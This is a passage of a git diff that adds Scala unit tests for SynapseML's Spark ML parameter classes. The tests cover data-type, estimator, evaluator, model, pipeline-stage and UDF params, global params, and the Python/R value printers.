StructField("age", IntegerType) + )) + holder.set(holder.dataTypeParam, structType) + assert(holder.get(holder.dataTypeParam).contains(structType)) + } + + test("DataTypeParam accepts nested StructType") { + val holder = new TestParamsHolder + val nestedType = StructType(Seq( + StructField("outer", StructType(Seq( + StructField("inner", StringType) + ))) + )) + holder.set(holder.dataTypeParam, nestedType) + assert(holder.get(holder.dataTypeParam).contains(nestedType)) + } + + test("DataTypeParam accepts TimestampType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, TimestampType) + assert(holder.get(holder.dataTypeParam).contains(TimestampType)) + } + + test("DataTypeParam accepts DateType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, DateType) + assert(holder.get(holder.dataTypeParam).contains(DateType)) + } + + test("DataTypeParam accepts BinaryType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, BinaryType) + assert(holder.get(holder.dataTypeParam).contains(BinaryType)) + } + + test("DataTypeParam custom validator accepts and rejects per its predicate") { + val holder = new Params { + override val uid: String = "test" + val numericOnlyParam = new DataTypeParam( + this, "numericOnly", "Only numeric types", + (dt: DataType) => dt.isInstanceOf[NumericType] + ) + override def copy(extra: ParamMap): Params = this + } + holder.set(holder.numericOnlyParam, IntegerType) + holder.set(holder.numericOnlyParam, DoubleType) + holder.set(holder.numericOnlyParam, FloatType) + assert(holder.get(holder.numericOnlyParam).contains(FloatType)) + assertThrows[IllegalArgumentException] { + holder.set(holder.numericOnlyParam, StringType) + } + } + + test("DataTypeParam can be cleared") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, StringType) + assert(holder.isSet(holder.dataTypeParam)) + holder.clear(holder.dataTypeParam) + assert(!holder.isSet(holder.dataTypeParam)) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEstimatorArrayParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEstimatorArrayParam.scala new file mode 100644 index 00000000000..5c0ed4a6089 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEstimatorArrayParam.scala @@ -0,0 +1,93 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.Estimator +import org.apache.spark.ml.classification.{LogisticRegression, DecisionTreeClassifier} +import org.apache.spark.ml.feature.StringIndexer +import org.apache.spark.ml.param.{ParamMap, Params} + +import java.util.{ArrayList => JArrayList} + +class VerifyEstimatorArrayParam extends TestBase { + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val estimatorsParam = new EstimatorArrayParam(this, "estimators", "An array of estimators") + override def copy(extra: ParamMap): Params = this + } + + test("EstimatorArrayParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.estimatorsParam.name === "estimators") + assert(holder.estimatorsParam.doc === "An array of estimators") + } + + test("EstimatorArrayParam accepts empty array") { + val holder = new TestParamsHolder + holder.set(holder.estimatorsParam, Array.empty[Estimator[_]]) + assert(holder.get(holder.estimatorsParam).exists(_.isEmpty)) + } + + test("EstimatorArrayParam accepts array with single estimator") { + val holder = new TestParamsHolder + val estimators = Array[Estimator[_]](new LogisticRegression()) + holder.set(holder.estimatorsParam, estimators) + assert(holder.get(holder.estimatorsParam).exists(_.length === 1)) + } + + test("EstimatorArrayParam accepts array with multiple estimators") { + val holder = new TestParamsHolder + val estimators = Array[Estimator[_]]( + new LogisticRegression(), + new DecisionTreeClassifier(), + new StringIndexer() + ) + holder.set(holder.estimatorsParam, estimators) + assert(holder.get(holder.estimatorsParam).exists(_.length === 3)) + } + + test("EstimatorArrayParam w() method accepts Java List") { + val holder = new TestParamsHolder + val javaList = new JArrayList[Estimator[_]]() + javaList.add(new LogisticRegression()) + javaList.add(new DecisionTreeClassifier()) + + val paramPair = holder.estimatorsParam.w(javaList) + assert(paramPair.param === holder.estimatorsParam) + assert(paramPair.value.length === 2) + } + + test("EstimatorArrayParam custom validator accepts and rejects per its predicate") { + val holder = new Params { + override val uid: String = "test" + val nonEmptyEstimators = new EstimatorArrayParam( + this, "nonEmpty", "Non-empty estimator array", + (arr: Array[Estimator[_]]) => arr.nonEmpty + ) + override def copy(extra: ParamMap): Params = this + } + val estimators = Array[Estimator[_]](new LogisticRegression()) + holder.set(holder.nonEmptyEstimators, estimators) + assert(holder.get(holder.nonEmptyEstimators).exists(_.length === 1)) + assertThrows[IllegalArgumentException] { + holder.set(holder.nonEmptyEstimators, Array.empty[Estimator[_]]) + } + } + + test("EstimatorArrayParam can be cleared") { + val holder = new TestParamsHolder + val estimators = Array[Estimator[_]](new LogisticRegression()) + holder.set(holder.estimatorsParam, estimators) + assert(holder.isSet(holder.estimatorsParam)) + holder.clear(holder.estimatorsParam) + assert(!holder.isSet(holder.estimatorsParam)) + } + + test("EstimatorArrayParam returns None when not set") { + val holder = new TestParamsHolder + assert(holder.get(holder.estimatorsParam).isEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEvaluatorParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEvaluatorParam.scala new file mode 100644 index 00000000000..f7ef0222800 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEvaluatorParam.scala @@ -0,0 +1,95 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.evaluation.{ + BinaryClassificationEvaluator, MulticlassClassificationEvaluator, RegressionEvaluator +} +import org.apache.spark.ml.param.{ParamMap, Params} + +class VerifyEvaluatorParam extends TestBase { + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val evaluatorParam = new EvaluatorParam(this, "evaluator", "An evaluator param") + override def copy(extra: ParamMap): Params = this + } + + test("EvaluatorParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.evaluatorParam.name === "evaluator") + assert(holder.evaluatorParam.doc === "An evaluator param") + } + + test("EvaluatorParam accepts BinaryClassificationEvaluator") { + val holder = new TestParamsHolder + val evaluator = new BinaryClassificationEvaluator() + holder.set(holder.evaluatorParam, evaluator) + assert(holder.isSet(holder.evaluatorParam)) + } + + test("EvaluatorParam accepts MulticlassClassificationEvaluator") { + val holder = new TestParamsHolder + val evaluator = new MulticlassClassificationEvaluator() + holder.set(holder.evaluatorParam, evaluator) + assert(holder.isSet(holder.evaluatorParam)) + } + + test("EvaluatorParam accepts RegressionEvaluator") { + val holder = new TestParamsHolder + val evaluator = new RegressionEvaluator() + holder.set(holder.evaluatorParam, evaluator) + assert(holder.isSet(holder.evaluatorParam)) + } + + test("EvaluatorParam assertEquality passes for same evaluator type") { + val holder = new TestParamsHolder + val eval1 = new BinaryClassificationEvaluator() + .setMetricName("areaUnderROC") + .setLabelCol("label") + val eval2 = new BinaryClassificationEvaluator() + .setMetricName("areaUnderROC") + .setLabelCol("label") + holder.evaluatorParam.assertEquality(eval1, eval2) + } + + test("EvaluatorParam assertEquality throws for non-Evaluator types") { + val holder = new TestParamsHolder + assertThrows[AssertionError] { + holder.evaluatorParam.assertEquality("not an evaluator", "also not") + } + } + + test("EvaluatorParam custom validator accepts and rejects per its predicate") { + val holder = new Params { + override val uid: String = "test" + val binaryOnly = new EvaluatorParam( + this, "binaryOnly", "Binary evaluator only", + _.isInstanceOf[BinaryClassificationEvaluator] + ) + override def copy(extra: ParamMap): Params = this + } + val evaluator = new BinaryClassificationEvaluator() + holder.set(holder.binaryOnly, evaluator) + assert(holder.get(holder.binaryOnly).contains(evaluator)) + assertThrows[IllegalArgumentException] { + holder.set(holder.binaryOnly, new RegressionEvaluator()) + } + } + + test("EvaluatorParam can be cleared") { + val holder = new TestParamsHolder + val evaluator = new RegressionEvaluator() + holder.set(holder.evaluatorParam, evaluator) + assert(holder.isSet(holder.evaluatorParam)) + holder.clear(holder.evaluatorParam) + assert(!holder.isSet(holder.evaluatorParam)) + } + + test("EvaluatorParam returns None when not set") { + val holder = new TestParamsHolder + assert(holder.get(holder.evaluatorParam).isEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyGlobalParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyGlobalParams.scala new file mode 100644 index 00000000000..35e349887bf --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyGlobalParams.scala @@ -0,0 +1,101 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{Param, ParamMap, Params} +import org.apache.spark.ml.util.Identifiable +import org.scalatest.TestData + +class VerifyGlobalParams extends TestBase { + + // Test keys + case object TestStringKey extends GlobalKey[String] + case object TestIntKey extends GlobalKey[Int] + case object AnotherStringKey extends GlobalKey[String] + + // GlobalParams is process-wide mutable state, so every test must start from a clean slate + // and must not leak keys into suites that share the forked JVM. + private def resetGlobalState(): Unit = { + GlobalParams.resetGlobalParam(TestStringKey) + GlobalParams.resetGlobalParam(TestIntKey) + GlobalParams.resetGlobalParam(AnotherStringKey) + } + + protected override def beforeEach(td: TestData): Unit = { + super.beforeEach(td) + resetGlobalState() + } + + protected override def afterEach(td: TestData): Unit = { + resetGlobalState() + super.afterEach(td) + } + + test("setGlobalParam and getGlobalParam work for String") { + GlobalParams.setGlobalParam(TestStringKey, "test-value") + val result = GlobalParams.getGlobalParam(TestStringKey) + assert(result === Some("test-value")) + } + + test("setGlobalParam and getGlobalParam work for Int") { + GlobalParams.setGlobalParam(TestIntKey, 42) + val result = GlobalParams.getGlobalParam(TestIntKey) + assert(result === Some(42)) + } + + test("getGlobalParam returns None for unset key") { + val result = GlobalParams.getGlobalParam(TestStringKey) + assert(result.isEmpty) + } + + test("resetGlobalParam removes the parameter") { + GlobalParams.setGlobalParam(TestStringKey, "value") + assert(GlobalParams.getGlobalParam(TestStringKey).isDefined) + GlobalParams.resetGlobalParam(TestStringKey) + assert(GlobalParams.getGlobalParam(TestStringKey).isEmpty) + } + + test("setGlobalParam overwrites existing value") { + GlobalParams.setGlobalParam(TestStringKey, "first") + GlobalParams.setGlobalParam(TestStringKey, "second") + assert(GlobalParams.getGlobalParam(TestStringKey) === Some("second")) + } + + test("multiple keys can be set independently") { + GlobalParams.setGlobalParam(TestStringKey, "string-value") + GlobalParams.setGlobalParam(TestIntKey, 100) + GlobalParams.setGlobalParam(AnotherStringKey, "another-value") + + assert(GlobalParams.getGlobalParam(TestStringKey) === Some("string-value")) + assert(GlobalParams.getGlobalParam(TestIntKey) === Some(100)) + assert(GlobalParams.getGlobalParam(AnotherStringKey) === Some("another-value")) + } + + test("registerParam and getParam work together") { + // Create a test Params implementation + class TestParams(override val uid: String) extends Params { + val testParam = new Param[String](this, "testParam", "test param") + override def copy(extra: ParamMap): Params = this + } + + val params = new TestParams(Identifiable.randomUID("test")) + GlobalParams.registerParam(params.testParam, TestStringKey) + GlobalParams.setGlobalParam(TestStringKey, "global-value") + + val result = GlobalParams.getParam(params.testParam) + assert(result === Some("global-value")) + } + + test("getParam returns None for unregistered param") { + class TestParams(override val uid: String) extends Params { + val unregisteredParam = new Param[String](this, "unregisteredParam", "not registered") + override def copy(extra: ParamMap): Params = this + } + + val params = new TestParams(Identifiable.randomUID("test")) + val result = GlobalParams.getParam(params.unregisteredParam) + assert(result.isEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala new file mode 100644 index 00000000000..6723898d278 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala @@ -0,0 +1,99 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.Model +import org.apache.spark.ml.classification.{LogisticRegression, LogisticRegressionModel} +import org.apache.spark.ml.feature.{StringIndexer, VectorAssembler} +import org.apache.spark.ml.param.{ParamMap, Params} + +class VerifyModelParam extends TestBase { + + import spark.implicits._ + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val modelParam = new ModelParam(this, "model", "A model param") + override def copy(extra: ParamMap): Params = this + } + + // Helper to create a trained model + private def createTrainedModel(): LogisticRegressionModel = { + val data = Seq( + (0.0, 1.0, 0.0), + (1.0, 0.0, 1.0), + (0.0, 1.0, 0.0), + (1.0, 0.0, 1.0) + ).toDF("label", "f1", "f2") + + val assembler = new VectorAssembler() + .setInputCols(Array("f1", "f2")) + .setOutputCol("features") + val assembled = assembler.transform(data) + + val lr = new LogisticRegression() + .setMaxIter(5) + .setLabelCol("label") + .setFeaturesCol("features") + lr.fit(assembled) + } + + test("ModelParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.modelParam.name === "model") + assert(holder.modelParam.doc === "A model param") + } + + test("ModelParam accepts LogisticRegressionModel") { + val holder = new TestParamsHolder + val model = createTrainedModel() + holder.set(holder.modelParam, model) + assert(holder.isSet(holder.modelParam)) + } + + test("ModelParam pyValue returns model reference") { + val holder = new TestParamsHolder + val model = createTrainedModel() + val pyVal = holder.modelParam.pyValue(model) + assert(pyVal === "modelModel") + } + + test("ModelParam pyLoadLine generates Python code") { + val holder = new TestParamsHolder + val pyCode = holder.modelParam.pyLoadLine(1) + assert(pyCode.contains("Pipeline.load")) + assert(pyCode.contains("model-1.model")) + assert(pyCode.contains("complexParams")) + } + + test("ModelParam rValue returns model reference") { + val holder = new TestParamsHolder + val model = createTrainedModel() + val rVal = holder.modelParam.rValue(model) + assert(rVal === "modelModel") + } + + test("ModelParam rLoadLine generates R code") { + val holder = new TestParamsHolder + val rCode = holder.modelParam.rLoadLine(2) + assert(rCode.contains("ml_load")) + assert(rCode.contains("model-2.model")) + assert(rCode.contains("ml_stages")) + } + + test("ModelParam can be cleared") { + val holder = new TestParamsHolder + val model = createTrainedModel() + holder.set(holder.modelParam, model) + assert(holder.isSet(holder.modelParam)) + holder.clear(holder.modelParam) + assert(!holder.isSet(holder.modelParam)) + } + + test("ModelParam returns None when not set") { + val holder = new TestParamsHolder + assert(holder.get(holder.modelParam).isEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala new file mode 100644 index 00000000000..2047cbde558 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala @@ -0,0 +1,155 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.{Transformer, Estimator, Model, PipelineStage} +import org.apache.spark.ml.feature.{Tokenizer, HashingTF, StringIndexer, StringIndexerModel} +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.sql.{DataFrame, Dataset} +import org.apache.spark.sql.types.StructType + +class VerifyPipelineStageParams extends TestBase { + + // Test class that holds the params + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + + val transformerParam = new TransformerParam(this, "transformer", "A transformer param") + val estimatorParam = new EstimatorParam(this, "estimator", "An estimator param") + val pipelineStageParam = new PipelineStageParam(this, "pipelineStage", "A pipeline stage param") + + override def copy(extra: ParamMap): Params = this + } + + // TransformerParam tests + test("TransformerParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.transformerParam.name === "transformer") + assert(holder.transformerParam.doc === "A transformer param") + } + + test("TransformerParam accepts valid Transformer") { + val holder = new TestParamsHolder + val tokenizer = new Tokenizer().setInputCol("text").setOutputCol("words") + holder.set(holder.transformerParam, tokenizer) + assert(holder.get(holder.transformerParam).contains(tokenizer)) + } + + test("TransformerParam custom validator accepts and rejects per its predicate") { + val holder = new Params { + override val uid: String = "test" + val validatedParam = new TransformerParam( + this, "validated", "validated param", + (t: Transformer) => t.isInstanceOf[Tokenizer] + ) + override def copy(extra: ParamMap): Params = this + } + val tokenizer = new Tokenizer() + holder.set(holder.validatedParam, tokenizer) + assert(holder.get(holder.validatedParam).contains(tokenizer)) + assertThrows[IllegalArgumentException] { + holder.set(holder.validatedParam, new HashingTF()) + } + } + + test("TransformerParam rLoadLine generates correct R code") { + val holder = new TestParamsHolder + val rCode = holder.transformerParam.rLoadLine(1) + assert(rCode.contains("ml_load")) + assert(rCode.contains("model-1.model")) + assert(rCode.contains("complexParams")) + assert(rCode.contains("transformer")) + assert(rCode.contains("ml_stages")) + } + + // EstimatorParam tests + test("EstimatorParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.estimatorParam.name === "estimator") + assert(holder.estimatorParam.doc === "An estimator param") + } + + test("EstimatorParam accepts valid Estimator") { + val holder = new TestParamsHolder + val indexer = new StringIndexer().setInputCol("label").setOutputCol("indexedLabel") + holder.set(holder.estimatorParam, indexer) + } + + test("EstimatorParam rLoadLine generates correct R code") { + val holder = new TestParamsHolder + val rCode = holder.estimatorParam.rLoadLine(2) + assert(rCode.contains("ml_load")) + assert(rCode.contains("model-2.model")) + assert(rCode.contains("complexParams")) + assert(rCode.contains("estimator")) + } + + // PipelineStageParam tests + test("PipelineStageParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.pipelineStageParam.name === "pipelineStage") + assert(holder.pipelineStageParam.doc === "A pipeline stage param") + } + + test("PipelineStageParam accepts Transformer") { + val holder = new TestParamsHolder + val tokenizer = new Tokenizer() + holder.set(holder.pipelineStageParam, tokenizer) + } + + test("PipelineStageParam accepts Estimator") { + val holder = new TestParamsHolder + val indexer = new StringIndexer() + holder.set(holder.pipelineStageParam, indexer) + } + + test("PipelineStageParam rLoadLine generates correct R code") { + val holder = new TestParamsHolder + val rCode = holder.pipelineStageParam.rLoadLine(3) + assert(rCode.contains("ml_load")) + assert(rCode.contains("model-3.model")) + assert(rCode.contains("pipelineStage")) + assert(rCode.contains("ml_stages")) + } + + // PipelineStageWrappable trait tests + test("PipelineStageWrappable pyValue returns model reference") { + val holder = new TestParamsHolder + val tokenizer = new Tokenizer() + val pyVal = holder.transformerParam.pyValue(tokenizer) + assert(pyVal === "transformerModel") + } + + test("PipelineStageWrappable pyLoadLine generates Python code") { + val holder = new TestParamsHolder + val pyCode = holder.transformerParam.pyLoadLine(1) + assert(pyCode.contains("Pipeline.load")) + assert(pyCode.contains("model-1.model")) + assert(pyCode.contains("complexParams")) + assert(pyCode.contains("getStages()")) + } + + test("PipelineStageWrappable rValue returns model reference") { + val holder = new TestParamsHolder + val tokenizer = new Tokenizer() + val rVal = holder.transformerParam.rValue(tokenizer) + assert(rVal === "transformerModel") + } + + test("PipelineStageWrappable assertEquality succeeds for same transformer") { + val holder = new TestParamsHolder + val t1 = new Tokenizer().setInputCol("a").setOutputCol("b") + val t2 = new Tokenizer().setInputCol("a").setOutputCol("b") + // Should not throw + holder.transformerParam.assertEquality(t1, t2) + } + + test("PipelineStageWrappable assertEquality throws for non-PipelineStage") { + val holder = new TestParamsHolder + assertThrows[AssertionError] { + holder.transformerParam.assertEquality("not a stage", "also not a stage") + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPythonWrappableParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPythonWrappableParam.scala new file mode 100644 index 00000000000..fc5264333e4 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPythonWrappableParam.scala @@ -0,0 +1,126 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} +import spray.json._ +import spray.json.DefaultJsonProtocol._ + +class VerifyPythonWrappableParam extends TestBase { + + test("PythonPrinter converts JsNull to Python None") { + val result = PythonPrinter(JsNull) + assert(result === "None") + } + + test("PythonPrinter converts JsTrue to Python True") { + val result = PythonPrinter(JsTrue) + assert(result === "True") + } + + test("PythonPrinter converts JsFalse to Python False") { + val result = PythonPrinter(JsFalse) + assert(result === "False") + } + + test("PythonPrinter converts JsNumber correctly") { + assert(PythonPrinter(JsNumber(42)) === "42") + assert(PythonPrinter(JsNumber(3.14)) === "3.14") + assert(PythonPrinter(JsNumber(-100)) === "-100") + } + + test("PythonPrinter converts JsString correctly") { + val result = PythonPrinter(JsString("hello")) + assert(result === "\"hello\"") + } + + test("PythonPrinter converts JsArray correctly") { + val arr = JsArray(JsNumber(1), JsNumber(2), JsNumber(3)) + val result = PythonPrinter(arr) + assert(result === "[1,2,3]") + } + + test("PythonPrinter converts JsObject correctly") { + val obj = JsObject("key" -> JsString("value")) + val result = PythonPrinter(obj) + assert(result.contains("key")) + assert(result.contains("value")) + } + + test("PythonPrinter converts nested structures") { + val nested = JsObject( + "bool" -> JsTrue, + "null" -> JsNull, + "number" -> JsNumber(42) + ) + val result = PythonPrinter(nested) + assert(result.contains("True")) + assert(result.contains("None")) + assert(result.contains("42")) + } + + test("pyDefaultRender with JsonFormat") { + val result = PythonWrappableParam.pyDefaultRender("test") + assert(result === "\"test\"") + } + + test("pyDefaultRender with Int") { + val result = PythonWrappableParam.pyDefaultRender(42) + assert(result === "42") + } + + test("pyDefaultRender with Boolean true") { + val result = PythonWrappableParam.pyDefaultRender(true) + assert(result === "True") + } + + test("pyDefaultRender with Boolean false") { + val result = PythonWrappableParam.pyDefaultRender(false) + assert(result === "False") + } + + test("pyDefaultRender with custom jsonFunc") { + val result = PythonWrappableParam.pyDefaultRender( + List(1, 2, 3), + (v: List[Int]) => v.toJson.compactPrint + ) + assert(result === "[1,2,3]") + } + + // Test PythonWrappableParam trait implementation + private class TestPythonParam(parent: Params, override val name: String, doc: String) + extends org.apache.spark.ml.param.Param[String](parent, name, doc) + with PythonWrappableParam[String] + + private class TestParams extends Params { + override val uid: String = "test-uid" + val stringParam = new TestPythonParam(this, "testString", "A test string param") + override def copy(extra: ParamMap): Params = this + } + + test("PythonWrappableParam.pyValue renders value correctly") { + val params = new TestParams + val result = params.stringParam.pyValue("hello") + assert(result === "\"hello\"") + } + + test("PythonWrappableParam.pyName returns param name") { + val params = new TestParams + val result = params.stringParam.pyName("anyValue") + assert(result === "testString") + } + + test("PythonWrappableParam.pyConstructorLine generates correct format") { + val params = new TestParams + val result = params.stringParam.pyConstructorLine("world") + assert(result === "testString=\"world\"") + } + + test("PythonWrappableParam.pySetterLine generates correct format") { + val params = new TestParams + val result = params.stringParam.pySetterLine("value") + assert(result === "setTestString(\"value\")") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyRWrappableParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyRWrappableParam.scala new file mode 100644 index 00000000000..ef069b43669 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyRWrappableParam.scala @@ -0,0 +1,152 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} +import spray.json._ +import spray.json.DefaultJsonProtocol._ + +class VerifyRWrappableParam extends TestBase { + + test("RPrinter converts JsNull to R NULL") { + val result = RPrinter(JsNull) + assert(result === "NULL") + } + + test("RPrinter converts JsTrue to R TRUE") { + val result = RPrinter(JsTrue) + assert(result === "TRUE") + } + + test("RPrinter converts JsFalse to R FALSE") { + val result = RPrinter(JsFalse) + assert(result === "FALSE") + } + + test("RPrinter converts integer JsNumber with L suffix") { + val result = RPrinter(JsNumber(42)) + assert(result === "42L") + } + + test("RPrinter converts double JsNumber without L suffix") { + val result = RPrinter(JsNumber(3.14)) + assert(result === "3.14") + } + + test("RPrinter converts JsString correctly") { + val result = RPrinter(JsString("hello")) + assert(result === "\"hello\"") + } + + test("RPrinter converts empty JsArray to c()") { + val arr = JsArray() + val result = RPrinter(arr) + assert(result === "c()") + } + + test("RPrinter converts JsArray of numbers to list()") { + val arr = JsArray(JsNumber(1), JsNumber(2), JsNumber(3)) + val result = RPrinter(arr) + assert(result === "list(1L,2L,3L)") + } + + test("RPrinter converts empty JsObject to c()") { + val obj = JsObject() + val result = RPrinter(obj) + assert(result === "c()") + } + + test("RPrinter converts JsObject to list2env") { + val obj = JsObject("key" -> JsString("value")) + val result = RPrinter(obj) + assert(result.contains("list2env")) + assert(result.contains("key")) + assert(result.contains("value")) + } + + test("RPrinter converts nested JsObject correctly") { + val nested = JsObject( + "bool" -> JsTrue, + "null" -> JsNull, + "number" -> JsNumber(42) + ) + val result = RPrinter(nested) + assert(result.contains("TRUE")) + assert(result.contains("NULL")) + assert(result.contains("42L")) + } + + test("RPrinter converts JsArray of JsObjects correctly") { + val arr = JsArray( + JsObject("a" -> JsNumber(1)), + JsObject("b" -> JsNumber(2)) + ) + val result = RPrinter(arr) + assert(result.contains("list2env")) + } + + test("rDefaultRender with JsonFormat for String") { + val result = RWrappableParam.rDefaultRender("test") + assert(result === "\"test\"") + } + + test("rDefaultRender with JsonFormat for Int") { + val result = RWrappableParam.rDefaultRender(42) + assert(result === "42L") + } + + test("rDefaultRender with JsonFormat for Boolean true") { + val result = RWrappableParam.rDefaultRender(true) + assert(result === "TRUE") + } + + test("rDefaultRender with JsonFormat for Boolean false") { + val result = RWrappableParam.rDefaultRender(false) + assert(result === "FALSE") + } + + test("rDefaultRender with custom jsonFunc") { + val result = RWrappableParam.rDefaultRender( + List(1, 2, 3), + (v: List[Int]) => v.toJson.compactPrint + ) + assert(result === "list(1L,2L,3L)") + } + + // Test RWrappableParam trait implementation + private class TestRParam(parent: Params, override val name: String, doc: String) + extends org.apache.spark.ml.param.Param[String](parent, name, doc) + with RWrappableParam[String] + + private class TestParams extends Params { + override val uid: String = "test-uid" + val stringParam = new TestRParam(this, "testString", "A test string param") + override def copy(extra: ParamMap): Params = this + } + + test("RWrappableParam.rValue renders value correctly") { + val params = new TestParams + val result = params.stringParam.rValue("hello") + assert(result === "\"hello\"") + } + + test("RWrappableParam.rName returns param name") { + val params = new TestParams + val result = params.stringParam.rName("anyValue") + assert(result === "testString") + } + + test("RWrappableParam.rConstructorLine generates correct format") { + val params = new TestParams + val result = params.stringParam.rConstructorLine("world") + assert(result === "testString=\"world\"") + } + + test("RWrappableParam.rSetterLine generates correct format") { + val params = new TestParams + val result = params.stringParam.rSetterLine("value") + assert(result === "setTestString(\"value\")") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyUDFParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyUDFParam.scala new file mode 100644 index 00000000000..4971e0c3753 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyUDFParam.scala @@ -0,0 +1,107 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.sql.expressions.UserDefinedFunction +import org.apache.spark.sql.functions.udf + +class VerifyUDFParam extends TestBase { + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val udfParam = new UDFParam(this, "udf", "A UDF param") + override def copy(extra: ParamMap): Params = this + } + + test("UDFParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.udfParam.name === "udf") + assert(holder.udfParam.doc === "A UDF param") + } + + test("UDFParam accepts simple UDF") { + val holder = new TestParamsHolder + val myUdf = udf((x: Int) => x * 2) + holder.set(holder.udfParam, myUdf) + assert(holder.isSet(holder.udfParam)) + } + + test("UDFParam accepts string transformation UDF") { + val holder = new TestParamsHolder + val myUdf = udf((s: String) => s.toUpperCase) + holder.set(holder.udfParam, myUdf) + assert(holder.isSet(holder.udfParam)) + } + + test("UDFParam accepts multi-argument UDF") { + val holder = new TestParamsHolder + val myUdf = udf((a: Int, b: Int) => a + b) + holder.set(holder.udfParam, myUdf) + assert(holder.isSet(holder.udfParam)) + } + + test("UDFParam with custom validator rejects values the validator refuses") { + val holder = new Params { + override val uid: String = "test" + // Only accept UDFs, and only when the validator agrees; here nothing is acceptable + val validatedUdf = new UDFParam( + this, "validated", "Validated UDF", + (_: UserDefinedFunction) => false + ) + override def copy(extra: ParamMap): Params = this + } + val myUdf = udf((x: Double) => x * x) + assertThrows[IllegalArgumentException] { + holder.set(holder.validatedUdf, myUdf) + } + } + + test("UDFParam with custom validator accepts values the validator allows") { + val holder = new Params { + override val uid: String = "test" + val validatedUdf = new UDFParam( + this, "validated", "Validated UDF", + (_: UserDefinedFunction) => true + ) + override def copy(extra: ParamMap): Params = this + } + val myUdf = udf((x: Double) => x * x) + holder.set(holder.validatedUdf, myUdf) + assert(holder.isSet(holder.validatedUdf)) + } + + test("UDFParam can be cleared") { + val holder = new TestParamsHolder + val myUdf = udf((x: Int) => x) + holder.set(holder.udfParam, myUdf) + assert(holder.isSet(holder.udfParam)) + holder.clear(holder.udfParam) + assert(!holder.isSet(holder.udfParam)) + } + + 